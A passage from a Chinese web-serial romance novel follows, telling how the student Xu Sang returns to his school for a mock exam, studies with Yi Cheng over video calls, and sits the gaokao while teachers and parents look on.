“他是谁啊?怎么穿得这么不学生?” “长得好熟悉,不过那个不是转学了吗?” “嘶,像来砸场子的。” …… 监考老师连忙喊了一声:“保持安静。” 第一堂语文,考试时间:9:00——11:30。 许桑没拿笔,用四十分钟把卷子从头看到尾,客观题过个答案,主观题过遍思路,一直到确定作文思路,他摸出铅笔填涂。涂完,捏着笔把答题卡从头到尾填完。 “距离考试结束还有30分钟——” 许桑把试卷答题卡草稿纸按顺序放到桌子左上角,胳膊肘抵着墙,趴下睡了。 鬼知道昨天火车上,同车厢的人有多闹腾:他还以为进疯人院了。 ……下午数学,做得许桑不是很滋味。主要是犯困,加上中午睡考场忘吃饭,整个人处于云里雾里、醒来在考场里的状态。 估计要升天了。 睡了半个小时,许桑坐直,把题勾完。看了眼时间,还早。但他犯饿,索性提前交了试卷,往校园超市走。 “这么快?”监考老师极小声地嘀咕一句,“刚不是还睡觉吗?” 说完这话,他脑子忽然一闪:有点熟悉啊! 众所周知,青中的纪律之严,跟选择题的判分标准一样。上课睡觉、教室吃零食、乱扔垃圾……都计算在“违规违纪”范围内,是需要交检讨的。 而经常踩进这种纪律坑里、还喜欢提前交卷的—— 监考老师往门外看了一眼:只见楼对面的少年,背影唰地一下消失在楼梯间。 他“嘶”了一声,心道:许桑居然回来了- “许哥?”梁意杉站在601门口,小心翼翼地敲了三声,“许哥,你在吗?” 许桑阴阴地睁开眼,看着门口,冷声:“进。” “我靠,许哥你真回来了?”梁意杉轻手轻脚地钻进来,先一眼撞进空荡荡的床上,寻了一圈,才跟书桌上戴着帽子一脸烦郁的许桑对上眼,“你,你床呢?” 许桑幽幽地打了个哈欠:“我也想问。” 梁意杉:“……” 他把书桌底下的备用折叠椅拖出来,打开坐下,说道:“估计是以为你不回来了才搬的。” “哦。”许桑拆了桌上买的泡面,“帮我接杯水。” “……”梁意杉看着这桶泡面,眉毛疑惑得像犁头耕出的地,“垃圾食品。” 许桑看向他:“又没让你吃。” “也是。”梁意杉点头,推开门做贼一样地溜到饮水机旁,时不时盯着可能出现宿管的地方,接满,他飞奔回601,“好了,许哥。” 许桑把叉子立上去:“谢了。” “许哥,你怎么突然想起吃泡面?”梁意杉问道,“我以为你不会碰这玩意。” 许桑垂眼:“说来话长。” 梁意杉一愣:许桑的说来话长,那是爱恨情仇全能涵盖完、是真的长得没边。 “好吧。”他移开话题,“我考完语文,就听有人说末考场进了个危险分子,还说有许哥当年风范。数学考完传的更神了,说危险分子睡了半小时、提前半小时交卷,背影之潇洒,有种走出去十步、教学楼能在他身后当场爆开的感觉……我当时就觉得是你,没想到还真是你……” 听着,许桑搅了下面,吃了一口。 “我现在是不是唯一知道你回来的?”吕丁看着许桑,鼻尖微微一耸,而后视线偏偏偏,偏到了冒着热气的面上,他咽了几口口水,忍不住了:“那个,许哥,有点香啊,能不能给我留口汤?” 许桑勾着勺子的手停住:“……” 他挺抵触“共吃一碗”的,即使是别人来顶他的剩碗。他看了眼书包,“还有一桶。” 梁意杉双眼一亮,连忙捞过,边拆边啰嗦:“许哥,你怎么买这么多?” 许桑吃了几口后,放下了,擦嘴时解释道:“火车,对床的小孩,从上车哭到下车。不知怎么,钻我床上,尿了。” 说到这,许桑眼前一黑,“他爸的补偿。” 梁意杉调料都撕飞了:“啊?!许哥,你去南城之后,到底经历了什么,居然脾气好到能把泡面端回来甚至平静地吃了……换平时你不得当场泡好盖那人脸上?” 许桑皱眉:“不至于。” 他脾气最大的时候,也只是扣过别人一头酒。 梁意杉会错意了,忙说:“怎么不至于!自己有床不尿自己床上,偏尿别人床上。有事没事爬别人床……这么多槽点。” 许桑平静地补充一句:“四个床,无一幸免。” 梁意杉顿住:“…………” 要到熄灯时间了,梁意杉帮忙把垃圾收了后,回头抱臂看着空荡荡的床,“要不,你去我床上凑一晚上?” “谢邀。”许桑弯身打开行李箱,“有男朋友了。” 梁意杉的沉默震耳欲聋:“…………” 他看着许桑从行李箱里捞出两个本子,摊书桌上便摁开台灯,大有一种今晚学个通宵的架势。 “许哥,没床睡可以理解,但你也不必这么拼吧?” 许桑往椅背上靠去,懒声:“再不拼,怎么第一?” “……”梁意杉竖起大拇指:“好吧。是我志向低下了……那我帮你找宿管要床被子或者让我爸叫人买一套送来?” “不用。”许桑咬住笔盖,“我知道在谁那。” 第80章 第80章 【“想夸我了,就换作亲我。…… 接下来两天, 许桑都没回班,踩着点进考场,考完便回寝室做题, 做完题就趴着睡觉。 他跟班主任袁枫打过招呼,老袁原话:“考试期间我不管你,考完正常到班哈。” 所以生物考完,他离校了。 网上约的人正前往寝室帮忙安装床垫, 许桑刚想挂断跟他的电话,就紧接着听到楼管的声音, 解释一通后, 才安生地坐下。 咖啡店内背景音乐轻和柔软,偶尔会传出打磨咖啡豆的声音,伴着醇香,在店内蔓延开。 许桑点了杯常喝的,便把黑包里的试卷拎出来,捏着笔思忖, 半晌后,他静下心来认真做题。 半个小时后,他戴上耳机,偏头笑着问道:“有事?” “有。”易承侧着脑袋,借压缩耳与肩的距离来稳住手机,声音有些抖,可能因为他正在套裤子,两下穿完, 他才长吁气,道:“听说你被子被人卷跑了?” 许桑轻一皱眉,不消问便知道透消息的是谁, 他顿了一下,想起什么似的,起身到出餐台处端了自己那杯,回到座位,一边站着插吸管,一边回道:“嗯,问题不大。” 易承又蹬上鞋:“那这几天睡得好吗?” “还行。”许桑搅着咖啡,含糊不清地回答。 易承不认这说辞:“说清楚点。” “不怎么样。”许桑目光软下来,望着手心下的吸管,叹了口气。 易承顿了一下。 刚才,梁意杉要用消息轰死他一样,几十条消息地疯砸。若非这名字跟许桑染了点关系,他是一秒不会犹豫、反手就拉黑。 把消息扫过,锁定了些关键词“有人欺负许哥”、“没被子没床垫”、“连着三天趴书桌上睡”……看着看着,他眼神就厉起来了。 所以,才从浴室出来,他就拨了电话。 他思考良久后问道:“能解决吗?” “能。”许桑坐在软沙发上,捏上笔,“但还不是时候。” 易承偏头:“嗯?” 讲什么“君子报仇、十年不晚”吗? “还有十几天高考。”许桑把笔飞着转了一圈,“高考完再说。” 易承抿唇:“陈慢‘为人着想’的性格,润到你脑子去了?” “……”许桑默住,反应两秒后笑了声。 “别笑。”易承耳朵一缩,好似被刚刚那声浅笑给怎么了,他捞过毛巾,擦了下手机屏幕,才搭头上去。 “管的着?”许桑收了笑,挑声反问。 易承顿时笑出声来:“好,我管不着。那再笑一个?” “笑屁。”许桑垂眼看向题,问道:“我发你那套题,做没?” “做了。”易承往卧室走,顺便把那套题拎出来,看着从头到尾欠缺红笔印记的卷面,他道:“能力范围之内。” “嗯。”许桑淡淡应了声,“毕竟,考前信心大放送。” “啧。”易承不由地弯了眉眼,逗趣道:“现在身边有糖吗?” 许桑疑惑地在桌上寻觅,摸到附赠的糖包,说道:“有。” 易承继续道:“吃点。” “嗯?”许桑动作轻顿。 易承笑着说:“嘴一点也不甜。” “……”许桑把糖包扔开,向后靠实,“压轴题挺有区分度的,做出来证明实力还不错。” “嗯。”易承很受用地点了下头,“变甜了。” 许桑不接他的话,问道:“现在有时间吗?” “有。”易承头发擦得差不多,把手机架在书桌上,甩了下手臂,“考前一天大假,两个小时前才放。” “很好。”许桑挂断了电话。 声音戛然而止,易承看着面前的手机界面:?? 下一秒,视频通话跳出来。他想也没想就按了接听。 不过这回,换许桑满脑袋问号了。 跳出的画面里,易承上半身是裸着的,微湿的发尾有些纠缠不清,偶尔还会凝出水珠往下滴淌。 饱满的圆形水珠从脖颈处下滑,像被肌肤烫到了般、化成一条淡淡的水痕,一路延伸向下:易承属于典型的薄肌,没有刻意的锻练,但经年累月的运动量,让肌肉线条相对分明。 视线停留在他精瘦的腰间,许桑一时没挪开视线。 易承注意到他的视线落点,不知怎的,下意识躲开目光,连忙伸手捞过T恤,解释道:“刚洗完澡。” 许桑应道:“嗯。” “怎么突然打视频?”易承把衣服从脑袋往下套,理整好,才问道。 “计时。”许桑手指点了两下,把套题发给他,“做套题。” “好。”易承伸手取过面前的手机,扒拉了两下,趁着打印机哔哔哔地吐纸,他起身把空调温度调低了很多。 扭头看着墙上“19”的温度,他心道:怎么突然有点热?尤其是脖子以上。 许桑发的这套题,是青中老师花大价钱买的一整套押题卷,前几套,分别以周考、月考、寒假作业的形式发下去了,剩下三套,两套用以作业,一套用于考前的模拟演练。 他挑了一套很有意思的,看了眼时间,说道:“比比?” “好啊。”易承把卷纸摊平,又顺手把草稿纸取下,“现在开始?” 许桑抽出新卷子:“嗯。” 两个小时的时间不算短,但时间进入夏天,总是显得很长,大概是觉得阳光不散、白天还长。 “这套题,”易承把小题扫完,转揉手腕时,咂摸了一句,“还真挺有意思。” “嗯。”许桑想起什么,说道:“比起这次模考,没那么次。” “……”易承抬头,通过镜头跨越千里看向画面中实实在在的人,有种想轻揉他脑袋的生理性冲动,强行压下后,他道:“糖效好低。” 哦,他又说实话忘美言了…… 许桑抬眼望向易承,隔空相对,虚拟的空气却似冻结般流动不起来,他听着自己的心跳声走向下一阶段,犯了天条一样如雷滚滚,他沉默半刻,“易承。” 易承单手托腮,弯着眼回答:“在呢。” 许桑低声说道:“我可不可以理解为能量守恒,赵鸿途的不自信,转移到了你身上?” “不自信?”易承品了品这个词,有些陌生,“哪点?” 许桑反问:“那怎么天天求夸?” 易承轻挑眉,说道:“我以为,自信到极点的人,才会有胆量求夸。” “……”许桑轻顿。 “另外,”易承凑近手机,那张俊俏的脸就要怼进屏幕似的,骤然放大,精致爽利的眉骨下,一双眼含着些侵略性,他一字一字咬词清晰:“都知道我在求夸了,怎么不夸?” 许桑咽了口咖啡,有些口干舌燥,慢了两秒才回道:“比起夸,损的成本更低。” 他眼睁睁看着易承的进步,从单科崛起到其余五科科科开花,由成绩波动起伏到稳定如磐石……一步一步,走得结实而迅捷。 真要夸的话,一天十句都不够说的。 累嘴,他想。 “成本。”易承重复了遍这个词,忽而一笑,“这样啊。” 没等许桑有所言辞,他便贱兮兮地道了一句:“那下次,想夸我了,就换作亲我。成本低,且双方受益。” 许桑“啪”地一声将手机扣了下去。 耳垂染热,耳机里的声音却依旧磁性:“又羞了?” 许桑抿唇,清了嗓音后说道:“还剩一小时18分钟,做题期间别说话。” “啧。”易承笑了声,“好。” 一般模拟题会仿照最新的高考题,看似合规合矩,实际水平很次。 而好的命题人却是挖掘最早的题目模型,以相同思路进行构建,就像手中这套题。 许桑先做完两分钟,在一堆文件包里搜寻答案,刚点开就见镜头里的易承抬起眼看他,他顿时笑道:“不检查?” “嗯。”易承转着笔,“毕竟我有自信。” 许桑:“……”还挺“含沙射影”一句话。 把答案发给对方,他边对答案边问道:“最近怎么样?” “如果指我的话,很好。”易承扫了答案,“如果指其他几个,心态有点爆炸。” 给试卷翻面,许桑问:“怎么个炸法?” “听到你回校了,当了一天尖叫鸡兼一夜凸眼蛙。”易承说时嘴角含笑,“这两天,后面班级出了几匹黑马,一身牛劲直往前莽。可能有危机感了,凌晨两点都不肯睡。” “……”许桑皱眉:“现在才有危机感?” “在你嘴里,当真是实现了众生平等。”易承说道:“全是实话,没一句装点。” 许桑偏了下头:“那我该补一句为时不晚吗?” “哈哈……”易承没绷住,笑出声来,握着红笔的手都跟着抖,把本不该存在红印的卷面戳得遍地是红线,“你知道吗?你现在有点那什么?” 许桑抿了口咖啡:“什么?” 可爱……易承没开口,怕对面的人又把手机扣过去。只在心底反复念叨着,而后道:“没什么。小丁慢慢的进步还行,赵鸿途走回了前三,还在跟李云平殊死相争,五次超了一次,看起来有机会晋升年二。” “嗯。”许桑静静听着,听完才说道:“书架第二排,那本《盛夏方程式》里,夹着U盘。可以拷给他们。” 易承起身,把那本书抽出来:“什么?” “一些学习资料。”许桑说道:“有需即用。” 易承摊开那本书,取出U盘,用数据线连接点开,看了眼视频内容:那天鼎盛楼里,一桌人围着看的视频全集。 他轻声:“有心了。” “本来是给你的。”许桑笑说,“不过你貌似不需要。” 这是句夸词。 易承怔住,徐徐展出笑颜:“很甜。” 许桑别开眼,压低声音说了句,“嗯,本来想亲你,但亲不到。” 80-87 第81章 第81章 【“我没有义务按着你们的经…… 艹。 易承脑子瞬间炸成一片, 有种脑细胞集体聚变了一样,一路挑逗着他脑神经,受了电击似的神经条周遭炸毛。 他几次张口想说话, 但喉咙深处却有缺水自保般的自觉、直接回绝了他的言语诉求,甚至还“落井下石”般地让热意攀升、蔓延,那些本就稀少的水分瞬间蒸腾干净。 他摸到矿泉水瓶,拧开喝了一大口, 才说话,但声音里的哑意却难以掩饰:“你先喝口咖啡再说话。” 许桑低眸看着咖啡:“嗯?” 抬眼只见易承直勾勾望着他的眼神, 那眼波显得有些热, 他这才反应过来:咖啡味偏苦,不甜。 想着,他勾唇轻笑,移开话题:“答案对完没?” “没。”易承看向试卷,“你对完了?” 许桑如实回答:“没。” 方才的两分钟内,心思全然被吸走了, 哪还有空间留给题。 两人心照不宣地低头对答案,而后几乎神同步地抬起头,许桑问道:“有问题吗?” “没。”易承笑了下:“思路有了,就纯体力活。” 许桑把卷子整理好:“同感。”- 青中阅卷效率高,是那种全部考完、第二天早上八点之前,出不了成绩老师工资就“危”的机制。 许桑规规矩矩地把夏季校服穿上,最近天热,但室内空调温度极低, 尤其是后排,冷风在身后呼啦啦地吹,相当“冒昧”。 他一防太阳二防冷风地裹了件秋季外套, 踩着早读的点,进了班级。 才坐下,就听到几声倒吸凉气的声音。 许桑:“……” 这一幕有点熟悉,以至于他下意识看向自己的桌肚。 也没有违禁漫画、游戏机啊。 他淡淡地坐直,扫了眼白板上写着的早读任务:“自由复习。” 到点后,语文课代表代为组织——青中讲究着“头悬梁、锥刺股”的痛感教育,换句话说:要么流汗要么流泪,啥也不流,不是好学生! 所以,早读站着读;跑操两倍进行,不过高考临近怕受伤才作罢。 起身后,许桑捏着本生物资料书,不喜读出声,他玩儿似的翻着看。 前桌一肘子给他哐啷过来:“许哥。” 许桑抬了下眸:“嗯?” 梁意杉憋了好久才说:“昨天晚上你没来,错过了很多。” 许桑翻了一页:“比如?” “比如,现在的班一,听说你回来还参加考试了,昨晚狂刷了五张真题卷四张模拟卷;比如,许降女朋友听说你回来了,写了一封四页的分手信和一封六页的预备情书;比如,老袁昨晚在班上阅卷时,阅着阅着,跳起舞来,说终于有人做对压轴题了;比如——” “停。”许桑打断他的无脑列举。 “不好意思,每一桩都挺搞笑的,我一骨碌就说了。”梁意杉用单词本遮着脸,欲盖弥彰地说:“反正就是,很多人都等着看你成绩。” 许桑眸光淡淡的:“……” 隔了两秒后,他问道:“老袁办公室搬没?” “没啊。”梁意杉疑惑地回答了这个八竿子打不着的问题,“不过其他任课老师的办公室搬到了四楼。” “嗯。”许桑简单应了声,便将资料书继续翻着看。 课间时,他去找了次袁枫。 袁枫乐呵着:“苗子长成树了,过来我看看,有没有被其他肥料染着味。” “……”许桑坐在他对面的椅子上。 “开个玩笑嘛。”袁枫把打印好的成绩单给他,笑说:“我听你爸说,你去的学校不怎么好,考纲也不同。我以为你多多少少会受些负面影响,没想到,正了!” 许桑瞥了眼成绩单,淡笑:“我没有义务按着你们的经验所想成长。” 袁枫脸上的笑意薄了一分,“是。而且你完全逆着我们的猜想在变厉害,很棒。这次的成绩也很漂亮,和我预估的第三南辕北辙。你这反骨,长得也是清新脱俗。” 许桑抿唇:“……”不像什么好词。 袁枫又念叨了几句,才想起正事:“你来找我,是有什么事吗?” 许桑平淡地说道:“可以剔掉我的成绩。” “为什么?”袁枫不理解,这么光环满分的事情,怎么会有学生想着拒绝接受。 “我不想因为我的返校,造成部分人的心态波动。”许桑想起梁意杉说的那句话:很多人都等着看你成绩。 这个时间节点,不应该全心扑在自己身上吗?他不想因为自己的突然出现,而对别人产生不好的影响。 “我明白了。”袁枫点了下头,拽着板凳往前挪了些,说道:“许桑,在这件事上,我确实能多教你一些。” 许桑看着他,“您说。” “你返校,成绩不降反升,必然会产生一系列有关无关的影响,但实际上,外界对一个人的影响,必须加以主观反应才能发生。”袁枫温和地说道:“我们没有必要在正常走自己的路时,抱着成为他人救世主的心态。消极一点来说,人各有命。或许有人会因你的进步而奋发图强,不吃不喝疯了一样刷题;或许有人会因你的进步感叹‘天赋面前,努力一文不值’而消极处事。但什么样的人发展出什么样的想法,不是我们能左右的,圣人也不行,没谁能做别人肚子里的蛔虫,还是只能左右宿主的蛔虫。你这么聪明的孩子,怎么能分不清事件和原因?” “就像是,如果现在突然转来一名未来的省状元,在最后的备考阶段里抢了你的风头。你的任何情绪,都不该由这位省状元买单。因为,人是有主观性的,你不能把加工后的东西,扔回原厂家去索赔,即使这东西的生产源头是你家。” 袁枫伸手,轻轻拍着他肩头:“理解吗?” “理解。”许桑想了想,展颜一笑。 “嗯。”袁枫看了眼手表,起身,“那跟我回班受表扬吧,我教的许状元!” 许桑单边挑眉:“……” 他心道:易承你来看看,老袁这才叫“自信”。 青中从校长到老师甚至于家长,功利性都很强。即使小到司空见惯的周考,成绩单都要贴在教室外,大大地亮着,狗路过都能跳起来瞄一眼谁第一谁倒一。 袁枫笑眯眯地宣读前三及对应分数。 教室里就跟那要喷的火山熔岩一样,边吐泡泡边翻涌,看着热火朝天的。 梁意杉回头拍了个巴巴掌:“许哥,牛逼!” “嗯。”许桑则平静地回视十几双看猴一样看他的眼睛,之后低下头,继续刷题。 人的注意力会决定他/她成为谁…… 他现在或许需要把视线焦点转向自己,凝视并反思- 夏天的风,体感是蓝蓝的、白白的,像侵权了天空颜色。 六点半,许桑起床,随便套了件白T黑裤后,叼着面包读外刊。 临近考试,也不知为了适应什么,在校内不强制穿校服。于是这类五花八门的服装便惊艳亮相,甚至连睡衣都有一方天地。 今下午按规定,去熟悉考场,也走一次流程。 “同学们,不要跳喳。”袁枫带队,身上挂了个大包,“带手机的同学,或者穿金属带银器的同学,可以在我这暂放,会还你们的,别担心。” 长长的几条队,毛毛虫一样蠕动着过了安检线,许桑看着准考证上的楼层兼考场、座位号,皱了下眉。 “许哥,我在这边,先走了!”梁意杉把准考证拎着扇了两下。 许桑随便应了一声:“嗯。” 三中也不算小,ABCDEFGH八个教学区域,分别放置初中、高中生。沿途有地图,许桑停下来看了一会。 半分钟后,他无奈地笑了声。 他终于明白“提前看考场”的现实意义了……他转了快二十分钟了,还没找到自己所在考场。 他又看了遍:“D区39考场7号。” 向坐镇的老师求助之后,他心道:要是易承在就好了。 想着,他跟着老师走到考场,找到位置扫了一眼后,便径直离开了。取回手机,他走到操场附近的树下,打通了电话。 没接。 他便悻悻地放下手机。 趁观览时间还长,他又往考场走了三遍:“量变引起质变”嘛。 回校之后,时间完全属于自己,爱复习复习,爱玩玩……当然,更大部分同学在搜集老师的毕业签名兼留言。 许桑坐在最后一排,老师就坐在后门口,身旁的过道一路满是人,都拿着白纸、彩纸、彩笔,殷切地期望着老师的“亲签”。 人流密集后,空气会受影响。 许桑不喜欢这种感觉,见外面“谈话艺术桌”的老袁也在坐镇答疑解惑兼“卖字”,他便借由此契机走出去,装了两秒,熟练非常地拐进厕所。 而巧的是,这个时间点,易承给他发了消息,像料定他会逃进厕所似的。 【易承:想我了?】 【易承:看考场时,我身临其境地刷了一张卷子,所以出来晚了。】 许桑“嘶”了一声,他的确问过老师能在这做题吗? 老师说:“能保证笔不漏墨、不用笔把桌子划花的话,理论上可以。” 还真有人实践了,许桑便问道:“紧张?” 【易承:没。】 【易承:小丁的提议。结果四个人,一个比一个溜得快。就我坐了一个半小时。】 许桑轻笑:“勇气可嘉。” 【易承:还行,我现在刚找到机会溜出教室。】 【易承:能通电话吗?】 许桑从厕所里出来,熟练地找到教学楼的楼梯间,在隐角里拨了电话。 易承带着笑意的声音跳出来:“效率啊。” “嗯。”许桑倚着墙,“班级内部比较癫狂。” “理一班也是。”易承手上摊着错题本,没用笔,单看着玩,“六个老师坐在走廊,拼命地画心签字,老徐说他词穷兼手酸,明天就入棺。” 许桑笑出声来,“都差不多。不过,给回忆多添一笔,也不错。” “有道理。现在你前桌,正在搜集全班同学的高考寄语或手写字,我帮你写了一句。” 许桑问道:“写的什么?” 易承笑道:“别走错考场。” “……”被点到,许桑顿了一下,不知是喜是哀,半天才说道:“那你写的什么?” “我写,”易承想了想,“我签了个你的名字。” 许桑不免一笑:“……”- 晚自习最后一节,九点整便结束。 临下课,袁枫站在讲台上,向台下鞠了一躬,泪眼婆娑:“同学们,恭喜啊,熬到最后一天了。” 教室里的人出奇一致,谁也没说话。 “说话给点反应啊。”袁枫鼻涕泡都笑出来了,“饶是我这样的厚脸皮,也经不起一对三十的尬聊啊。” 讲台下终于有了些反应:“哈哈哈哈……” “我不多说哈,给你们签一天字了,元气大伤。”袁枫忽然添了一句,“多嘴一句,你们这一个个没良心的,光是我写给你们,班上这么多号人,居然只有一个同学想到给我写,等你们到大学了,但凡有人际关系这门课,肯定得重修补考!” 梁意杉扭头惊呼:“我操,谁脑子拐那么远!” 许桑淡淡跟袁枫擦了个视线,台上那位微微一笑。 “今晚好好睡,睡不着也没关系,影响不大。”袁枫语重心长地说:“别通宵复习,有个效应叫,你抱的佛脚,都是先被丢弃了的,不然你抱不到。越抱越不考。不求你们平常心,别反常到高考作文诗兴大发赋诗一首,我就觉得你们没问题了。” “另外,保护肠胃,明天在监考老师目光下拉屎拉尿很不雅,但有了感觉千万别死憋,憋死了神仙都救不了你的高考成绩。另外视力好的同学,遇到许桑这种知根知底的再瞟,别随便抄,不然白瞎了这双眼睛。” 许桑尬笑:“……” 因为同平时作息有异,铃声在二十分钟后才响。但即使到了下课的点,也没人急躁地出声打断,或是有任何捞起书包转身就走的冲动,而是安静地听着。 “剩下的,考场播报很齐全,天天听,都肌肉记忆了吧。”袁枫抹抹泪,继续说:“不要有负担。牢记:自己高于高考。不要用奴隶解放的思想看高考,别幻想一朝结束、焕然一新。三天后,你还是那个十七八岁的少年,甚至可能年龄都没来得及加一……正视,别俯视仰视斜视,这是我对你们最后的期许。” 楼道外,结课的学生在四处走,脚步声说话声乱七八糟的,像没秩序的地震逃生演练。 “哎呀,说多了!”袁枫站起来,用袖子飞速扫完脸上的泪,“快回去,好好睡觉,明天给老子好好考!” 他一出门,教室里的安静便破碎掉,放射状地喧闹起来……直至最后,教室里的最后一盏灯被关下。 许桑回到寝室,照例做了套英语试卷练手。 习惯使然,挨到平时睡觉的点,他才爬上床,可不知道哪一环节出了问题,他有些睡不着。 两分钟后,就在他想出去跑两圈再回来睡时,有电话跳了进来。 易承的声音带着些睡意:“开免提,睡觉。” 许桑微怔,但照做了。 重新躺下,耳边,是轻到几乎不存在的呼吸声,易承的声音放低后,与“哄睡”极其适配……他轻声说道:“如果做噩梦了,我叫你。” 做噩梦,是一通电话能听得出来的? 许桑没问,心下其实也有答案。他勾了下唇,将空调被捞来搭在腹部时,小声回道:“好。” “晚安。” “晚安。” 这一夜,他们枕着彼此记忆里的呼吸声入了眠。 第82章 第82章 【“许桑,给我分担点鸡血。…… “什么?身份证忘带了?”袁枫焦急地重复着, 而后三个深呼吸,语气稳住了:“没事,不着急, 不着急……” “马上进考场了,还缺一个人。”袁枫拿着准考证扇额头上的汗,连忙摸出手机联系学生家长:“喂,你家孩子呢……先挂了。我看到学生了, 跑快点,快快快!” 终于, 在把最后一位同学整整齐齐地送进考场后, 袁枫一屁股坐地上,狂哈着气,好一会才缓过来。 考场外,搭着五颜六色的“摊位”。炎炎夏日下,摆着各广告商的资助,大半是水。 袁枫起身去拿了瓶锶矿泉水, 咕噜喝了大半后,才走向一班的家长堆。 嘴空了,他捧:“这旗袍穿得好,图个旗开得胜!” 同学家长呵呵一笑:“要不是这小子,老娘这衣服都落灰了。但凡考不好,老娘定要他小子一直穿旗袍、穿不破不准着家!” “……”袁枫尴尬地抹鼻头,胆怯地评价了一句:“彪悍啊。” 于是,他又转向旁边的家长, 见他一身装束,眼睛被扎到了一样,苦哈哈地说道:“这位家长, 穿这么多不热吗?” 中年男人也苦着脸,“都要热出痱子了。还不是他妈说,穿马褂,要马到成功;考试第一天,还得红色打底,求个开门红;裤子得是蓝色,给孩子提供冷静的心理元素;抱一朵向日葵玩偶,有助于‘一举夺魁’;还要穿有蝴蝶、锦鲤图案的衣服……明天第二天,绿色打底,说是一路绿灯;第三天,得穿金色打底,说是金榜题名……” 袁枫听着都累,尬笑:“……哈哈,哈哈。” 把一圈家长都问过,他消停下来,把剩下半杯水喝完,踮起脚尖尽可能地攀望着教学楼内的情况。 看不见,只有安保人员奔走着维持秩序。 早上十一点十分,被烈阳赠予成片金光的地面,两小时时限内,被首次踏足。随即,瘦瘦高高一人哆嗦着嘴皮跑了出来。 立马就有花束献上,而后话筒递过来。 “作为第一个出考场的人,请问有什么感想?” “请问请问,今年的作文题目是什么?” “请问,题是难是简单?” 那考生半天没喘过来,平息后,惨白的嘴唇终于啪嗒了两下:“简单,太简单了!” 守在防护线外围的家长极其会给气氛,巴巴掌连忙就拍起来了——半秒钟不到,就被安保人员手动静音。 袁枫猛一皱眉,心说:这娃,估计被难癫狂了。 陆陆续续地,有同学向外走,单排形式;直至考试结束后的舒缓音乐响起,连栋教学楼才猛地一轰动,随即成百上千的学生向外涌出,讨论声瞬间核爆式蔓延。 “来,准考证给我,就跟着家长回家或等班级一起吃饭!”袁枫扔了水瓶就奔上去,把学生拥住,“考完就丢,不要回想。午睡睡好,准备下一科就行!” 许桑出来时,被阳光晃到眼睛,伸手掩了下,才向袁枫走去,把准考证交递。 袁枫恨不能马上异变成千手观音,在这百忙之中还伸手拍了下许桑的肩,说道:“考完就是好样的,中午睡好啊!” “嗯。”许桑抽回手,走回校车,静等车上的人到齐、再“一锅”顺去食堂。 途中,易承的视频电话跳了进来。 画面里,是满桌子的菜,桌布火红,金丝线勾着“金榜题名”等吉祥祝词。而背后的墙壁上,是满板彩色的涂鸦,长短皆有,晃一眼,能瞥见诸如“ld高考顺利”一类的词句。 “猜我们在哪?” 随着易承声音的跳出,画面里还冒进三个脑袋,还是熟悉的那三人。 许桑偏了下头,压低声音:“牛逼炒馆?” “人怎么能聪明成这个样子!”吕丁的声音跳动,“不过纠正一点,现在叫赤色馆。” 易承笑着说:“赤色馆承包了学校高考期间的供餐。” 他才说完,陈慢就甩了个花手,说道:“哎呀,牛逼炒馆也是好起来了,能承包南城附中的餐食了,哈哈哈。” 许是情绪这东西,传染性极强,高三后期全程石板脸的赵鸿途也笑得五官乱皱:“跟吃席一样,也太丰盛了,感觉比平时还幸福。我愿意天天都是高考——” 吕丁连忙丢了条红糖糍粑到赵鸿途碗里:“小嘴巴闭上,别乱咒。” 许桑听着他们几个一言接一语,也跟着笑了起来,他往校车外看了眼,流动的人群,被太阳晒得金光粼粼。来往间,还能听到一阵阵斩钉截铁的鼓励与支持。 差点忘了,今天,他们是最大的宠儿。 他收回视线,重新看向易承,道:“吃好喝好。” 又寒暄了两句,易承直接抄着手机走到没人的地方,声音放低了些,“还没吃饭?” “没。”许桑不记路,但估摸着来回路程时间,还是能感知到走了几分之几,“校车还有些时候才到校。” “也好,吃早了消化得也快。不急。” 似乎是身后有人喊了声易承,易承往后看了眼,就见赤色馆的老板拿着根不知从哪顺来的话筒,站在几个大圆桌之间,说话:“同学们,来听叔说两句!” 听到这话,易承便将镜头反转,低语:“许桑,给我分担点鸡血。” 许桑轻笑,安静地等待那边嘈喧之中的主声。 “同学们,我们店啊,原先叫牛逼炒馆,为的就是证明咱南城人全是牛逼的!”老板和之前一样激情,“今天是你们战斗的日子,我个老头提供不了锦囊智囊,但至少能提供一桌子好吃好喝的!来来来,我给你们宣读一下今天的菜哈!” “糖醋排骨,寓意鲤鱼跃龙门,大家都成功;秋葵鸡蛋,寓意一举夺魁;腐竹香菇,寓意胸有成竹;红烧鸡,象征鸿运当头……最后再来个粽子,同学们,都给我高中!高中!” 说完,几桌的同学端起碗端起杯子乱七八糟地全接了这鸿运:“谢谢老板!” 易承把镜头转向自己,轻声:“虽然有点傻,但我还是帮你吃一份。” “谢谢。”许桑笑说- 最后一门了,袁枫送进去最后一个学生,望着徐徐关上的门,在树荫下的坛沿上坐下。 身边都是一班的家长,聚拢在一起,翘首以盼。他这三天时间,上午下午各见一面,差不多把人认了个全。 唯独没等到许桑的家长。 他也不是什么爱听八卦的人,但作为班主任,本身就在舆论中心活动,有些东西,想不听到都难。 许桑和班里的许降,是兄弟,说亲不亲,同父异母。 考语文时,他跟许降母亲说过两句话。 —“今天这身光彩夺目,想必孩子肯定能沾些好运吧!” —“当然。我还专门给小降求了福袋、锦囊,他爸也给小降买了个文曲星石像摆屋里,准能考好的。” 他抿唇,没再聊下去:即使聊下去,估计也听不到关于许桑的话。 想到此,袁枫又向许降母亲看了眼,叹气:母亲爱自己的孩子,又有什么好指摘的呢。只不过是许桑那孩子,福气薄了些而已。 “呸,呸!”他连忙拍了两下嘴巴。 说什么倒霉话呢,把他教出状元郎的好运都折腾走了…… 下午六点整,远远有道人影冒了出来。 相机连忙怼上去,几人舔了一圈嘴巴,看样子一切准备就绪,就差那人走到面前。 袁枫一点不期待,他在班明确强调过: “把时间做满,一考场走空剩你一个也不许提前交卷!总不想别人六百一十五分钟结束青春,你四百三十五分钟就结束了吧……四开头不吉利,再怎么着也得六开头!” 等那学生往校门口走时,袁枫四处瞄着,忽然看见自家班级家长聚集区域内,多了位小男生。 身量高挑,白T黑裤干净而明亮。这人站在一众人当中,气质独立而净朗。偏长的额前碎发,有些沾汗,被薅弄得很凌乱,半虚半实地贴着白皙的皮肤。 看手心里捏着的水瓶,估计是从广告摊位里顺走的。刚喝完,唇色被染得水润而绯红,垂眼,修长的手指拨弄手机时,高挺的鼻梁极为惹眼,以及那清晰而利落的下颌线,相当漂亮。 袁枫咂摸着:这是家长?长得好显小。 不对,他拨浪鼓一样甩头:这人,不是高中生就是大学生。 因为下一秒,他就看见了那人手里别着的一朵白玫瑰,同矿泉水瓶夹在一起,他开始没注意到。 哟,等女朋友来的。 